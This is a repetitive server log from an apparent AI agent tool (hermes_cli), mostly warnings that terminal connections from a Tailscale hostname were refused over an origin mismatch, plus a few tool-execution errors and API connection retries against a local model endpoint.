pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:00,519 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:05,415 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:10,559 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:15,576 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:20,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:26,030 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:33,449 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:38,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:42,806 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:47,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:52,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:59:58,141 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:04,031 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:09,737 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:14,559 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:19,519 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:24,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:29,491 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:34,550 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:38,735 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:43,674 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:48,482 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:52,967 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:00:58,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:03,430 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:08,430 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:13,553 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:18,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:23,735 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:27,909 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:32,446 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:36,766 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:41,438 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:46,536 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:51,546 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:01:56,666 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:01,564 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:06,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:11,446 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:16,418 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:21,477 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:26,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:31,585 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:36,751 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:41,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:45,805 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:50,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:02:55,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:00,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:06,194 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:11,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:16,418 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:21,500 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:26,528 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:31,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:36,418 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:41,471 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:46,720 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:51,761 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:03:56,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:01,563 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:06,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:11,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:16,382 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:21,544 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:26,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:30,871 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:35,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:40,617 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:45,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:50,612 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:04:55,748 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:00,648 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:05,783 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:09,849 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:14,595 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:19,482 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:23,773 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:28,479 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:33,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:38,478 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:43,584 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:48,453 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:53,673 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:05:57,908 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:03,446 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:08,066 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:13,484 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:18,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:23,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:28,527 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:33,488 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:38,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:43,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:48,438 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:53,668 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:06:58,606 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:03,661 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:08,046 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:14,121 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:19,460 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:24,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:28,812 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:32,776 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:37,419 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:41,772 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:46,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:50,728 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:07:55,425 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:00,533 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:05,506 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:10,863 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:14,950 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:19,758 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:23,835 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:28,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:33,469 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:38,459 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:43,596 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:48,538 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:53,635 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:08:58,406 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:04,483 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:10,313 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:17,654 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:22,587 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:27,521 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:32,547 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:36,709 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:41,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:46,986 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:52,529 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:09:57,627 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:02,982 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:08,856 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:11,043 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.18s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_txs_qp3g/script.py\", line 24, in \n now = datetime.datetime.utcnow().isofo 2026-07-20 10:10:13,890 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:18,964 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:22,648 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-20 10:10:22,650 WARNING [20260710_094439_1cb443b1] agent.conversation_loop: Retrying API call in 2.760021069062169s (attempt 1/3) thread=hermes-gateway_2:135522785650368 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-20 10:10:24,535 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:28,717 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:33,473 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:38,252 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.62s): {"status": "error", "output": "=== Current Providers in 9Router ===\n - Provider: openrouter, Name: OpenRouter, Status: active\n - Provider: gemini, Name: projects/669777620333, Status: active\n - 2026-07-20 10:10:38,478 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:43,454 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:48,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:53,786 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:10:58,760 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:03,638 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:08,704 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:13,915 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:18,868 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:23,763 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:28,895 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:33,560 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:38,439 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:42,751 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:46,749 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:51,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:11:56,717 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:01,548 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:06,011 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:11,696 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:16,881 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 10:12:21,234 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 